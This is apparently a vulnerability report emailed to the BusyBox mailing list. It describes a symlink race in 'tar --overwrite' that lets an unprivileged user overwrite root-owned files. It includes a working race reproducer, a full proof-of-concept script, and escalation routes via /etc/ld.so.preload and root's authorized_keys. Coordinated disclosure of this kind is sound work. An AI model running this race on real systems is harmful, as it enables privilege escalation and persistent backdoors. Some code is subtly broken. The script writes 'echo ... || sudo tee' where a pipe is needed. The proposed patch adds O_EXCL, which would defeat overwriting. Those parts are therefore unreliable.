To: [email protected]
From: [email protected]
Subject: [SECURITY] busybox tar: TOCTOU symlink race overwrites arbitrary
root file with --overwrite
Version : v1.38.0 (git 2025-08-05)
System : Ubuntu 22.04 x86-64
Kernel : 6.8.0
Compiler: gcc 11.4.0
----------------------------------------------------------------------
Summary
----------------------------------------------------------------------
When extracting a tar archive with the **--overwrite** option, BusyBox
‘tar’ opens regular files with `O_TRUNC` but **without `O_NOFOLLOW`
or `O_EXCL`**. If an unprivileged process replaces the filename with a
symlink between the prior `lstat()` and this `open()`, BusyBox tar
follows the link and truncates / overwrites the link target **as root**.
This Time-Of-Check / Time-Of-Use race can be used for local privilege
escalation (e.g. via `/etc/ld.so.preload`) or a denial-of-service by
blanking critical binaries.
**Real-world attack surface**
* IoT OTA scripts, initramfs updaters, and Docker/Alpine build scripts
commonly run `busybox tar xvf … --overwrite` as root.
* On shared directories (`/tmp`, NFS, container bind-mounts) an
unprivileged user can predict archive filenames (or supply the archive
themselves) and run the symlink loop in parallel.
----------------------------------------------------------------------
Reproducer (two terminals)
----------------------------------------------------------------------
# 0. one-time setup ---------------------------------------------------
$ mkdir -p /tmp/tar-race && cd /tmp/tar-race
$ echo HACKED_BY_RACE > victim.txt
$ tar -cf poc.tar victim.txt
$ rm victim.txt
$ echo ORIGINAL | sudo tee /etc/poc.txt # file we will overwrite
#Usually there is no permission
$ /path/to/busybox --help | head -1 # BusyBox v1.38.0
# 1. attacker terminal (unprivileged) -------
$ cd /tmp/tar-race
$ while :; do
> rm -f victim.txt 2>/dev/null || true
> ln -s /etc/poc.txt victim.txt 2>/dev/null || true
> done
# 2. root terminal --------------------------
# busybox tar xvf poc.tar --overwrite
victim.txt
# cat /etc/poc.txt
HACKED_BY_RACE <-- overwritten
Success rate
------------
On a 4-core VM the race triggers 20–30 % of the time; running tar in a
loop or racing several filenames in parallel reaches ~100 % within a few
dozen attempts.
full_poc.sh
-------------
#!/bin/bash
set -e
BB=$HOME/busybox/busybox
TARGET=/etc/poc.txt
WORK=/tmp/tar-race
echo "Cleaning up old TARGET file and WORK directory..."
sudo rm -f "$TARGET" 2>/dev/null || true
rm -rf "$WORK" 2>/dev/null || true
mkdir -p "$WORK"
echo "Cleanup complete."
echo
cd "$WORK"
echo 'HACKED_BY_RACE' > victim.txt
tar -cf malicious.tar victim.txt
rm victim.txt
echo "original" || sudo tee "$TARGET"
# attack loop
(
while true; do
rm -f victim.txt 2>/dev/null || true
ln -s "$TARGET" victim.txt 2>/dev/null || true
done
) & LP=$!
# 30 attempts
for i in {1..30}; do
sudo "$BB" tar xf malicious.tar --overwrite
done
kill $LP
echo "----- RESULT -----"
echo "TARGET content:"
cat "$TARGET"
Expected result
---------------
* /etc/poc.txt remains unchanged (“ORIGINAL”).
* victim.txt extracted as a normal file.
Actual result
-------------
* busybox tar followed the attacker’s symlink and overwrote
/etc/poc.txt with the archive payload.
* victim.txt is now a dangling symlink → /etc/poc.txt.
----------------------------------------------------------------------
Root cause
----------------------------------------------------------------------
`data_extract_all.c`, case S_IFREG:
flags = O_WRONLY | O_CREAT | O_TRUNC; /* when --overwrite */
dst_fd = xopen3(dst_nameN, flags, file_header->mode);
No O_NOFOLLOW, no O_EXCL, no post-open fstat() verification.
----------------------------------------------------------------------
Suggested patch (one-liner)
----------------------------------------------------------------------
@@
- flags = O_WRONLY | O_CREAT | O_TRUNC;
+ flags = O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW | O_EXCL;
@@
dst_fd = xopen3(dst_nameN, flags, file_header->mode);
Optionally, add a `fstat(dst_fd)` and compare inode numbers to guard
against races where the file is swapped between open() and first write.
----------------------------------------------------------------------
Impact
----------------------------------------------------------------------
* Local DoS: truncate /bin/sh or init binary.
* Local privilege escalation: inject path into /etc/ld.so.preload.
* Persistent backdoor: append SSH key via /root/.ssh/authorized_keys.
----------------------------------------------------------------------
Embargo
----------------------------------------------------------------------
I am happy to observe a 30-day embargo to coordinate with downstream
distributions. Please let me know if you need more or less time.
Thank you for maintaining BusyBox.
Best regards,
<Yuma Takeuchi / yuma4869>
<[email protected]>
_______________________________________________
busybox mailing list
[email protected]
https://lists.busybox.net/mailman/listinfo/busybox